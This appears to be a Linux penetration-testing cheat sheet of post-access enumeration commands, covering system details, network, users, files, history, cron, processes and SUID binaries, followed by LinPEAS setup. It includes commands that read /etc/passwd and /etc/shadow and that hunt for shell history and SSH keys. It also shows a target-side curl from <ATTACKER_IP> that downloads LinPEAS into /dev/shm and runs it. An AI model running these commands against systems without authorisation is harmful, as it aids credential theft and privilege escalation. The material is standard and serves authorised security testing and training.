PRIMARY CATEGORY → LINUX PENTESTING
Components ⟡
Manual Enumeration
OS
cat /etc/os-release
cat /etc/issue
hostnamectl
lsb_release -aEnvironment Parameters
echo "$PATH"
declare -p -- PATH
envKernel Version
uname -aAvailable Shells
Look for TMUX and SCREEN ( Vulnerable Versions or Existing Sessions )
Vulnerable Bash version → ShellShock
cat /etc/shellsNetwork
Network Interfaces
Look for any other existing and accesible subnets
ip a s
ifconfig
ls /sys/class/netRouting Table
ip route list
route
netstat -rnDNS | Name Resolution
cat /etc/hosts
cat /etc/resolv.confARP Table
Look for other existing hosts
arp -aFS, Drives and Shares
Mounted FS
df -hTvUnmounted FS
grep -v '#' /etc/fstab | column -tDrives and Shares
Look for additional Drives or unmounted File Systems
lsblk -fm
lpstat # Printers
mount
cat /etc/fstabUsers and Groups
Existing Users
Look for existing hashes on /etc/passwd
Read permissions on /etc/shadow
cat /etc/passwd
getent passwdExisting Groups
cat /etc/groups- List members of any existing group
getent group <GROUP> # getent group sudoUsers’s Home Directory
Look for accesible user directories
Sensitive Files → Shell History files and SSH Keys within them
ls /homeUsers’s Last Login
lastlogLogged in Users
w
whoFiles and Directories
Hidden Resources
find / -name '.*' -type f -ls 2> /dev/null # Files
find / -name '.*' -type d -ls 2> /dev/null # DirectoriesWritable Resources
find / -type f -writable -ls 2> /dev/null # Files
find / -type d -writable -ls 2> /dev/null # DirectoriesOwned Resources
- Current User
find / \( -path '/proc' -o -path '/sys' -o -path '/run' \) -prune -o -user "$USER" -ls 2> /dev/null- Current User’s Group
find / \( -path '/proc' -o -path '/sys' -o -path '/run' \) -prune -o -group "$USER" -ls 2> /dev/nullTemporary Files
find /tmp /var/tmp /dev/shm -type f -ls 2> /dev/nullConfiguration Files
find / -regextype posix-extended -iregex '.*\.conf(ig)?' -ls 2> /dev/nullScripts
find / \( -path '*/src/*' -o -path '*/snap/*' -o -path '*/share/*' \) -prune -o -regextype posix-extended -iregex '.*\.(sh|bash|zsh)$' -lsHistory
Command History
historyShells’ History Files
cat /home/<USER>/.bash_history # .zsh_history and so onfind / -regextype posix-extended -iregex '.*_hist(ory)?$' -type f -ls 2> /dev/nullCron Jobs
ls -la /etc/cron.dailyRunning Processes
ps -faux
ps auxfind /proc -name cmdline -exec cat {} + 2>/dev/null | tr '' '\n'Installed Packages
apt list --installed | sed 's@/@ @g' | awk '{ print $1, $3 }' | lessSudo Version
sudo --version | head -n1Binaries
System Binaries
find /bin /usr/bin /usr/sbin -type f -ls 2> /dev/nullSUID Binaries
find / -type f -perm -4000 -ls 2>/dev/nullTrace System Calls
strace <COMMAND>Automated Enumeration
LinPEAS
Setup
- Downloading the script
From the attacker ⚔️
curl --silent --location --request GET 'https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh' --output linpeas.bash- Transferring it to the target
From the attacker ⚔️
python -m http.server 80From the target 🎯
cd /dev/shm && curl --silent --location --request GET 'http://<ATTACKER_IP>/linpeas.bash' --remote-name- Running the script
bash linpeas.bash |& tee -a linpeas.outputSubsequent inspection
less -R ./linpeas_output